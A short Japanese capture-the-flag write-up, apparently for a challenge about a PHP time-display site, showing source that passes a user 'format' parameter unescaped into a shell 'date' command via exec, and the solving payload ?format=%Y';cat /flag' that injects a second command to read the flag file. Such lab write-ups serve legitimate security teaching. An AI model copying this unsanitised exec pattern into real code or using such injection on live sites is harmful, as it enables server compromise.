問題概要
Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.
KROPのデジタル領域に隠された謎を解き明かし、真実を明らかにする準備はできていますか? チャレンジに参加して、サイバーセキュリティの世界で自分の実力を証明してください。 時は金なりであることを覚えておいてください。しかし、この場合、あなたが想像しているよりもはるかに大きな報酬が得られる可能性があります。
サイトを閲覧すると、時間や日付が表示されるサイトになっていることが確認できる。
解法
ダウンロードされたファイルを確認すると、PHPのexec
を使用して、引数に渡されたフォーマットで日付を表示していることが分かる。
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
exec
で任意のコマンドが実行できるので、%Y';cat /flag'
この値をURL Decodeしてformat
に渡す。
?format=%Y%27;cat%20/flag%27
そうするとPHP側でdate '+Y';cat /flag '' 2>&1
となり、フラグ取得が可能。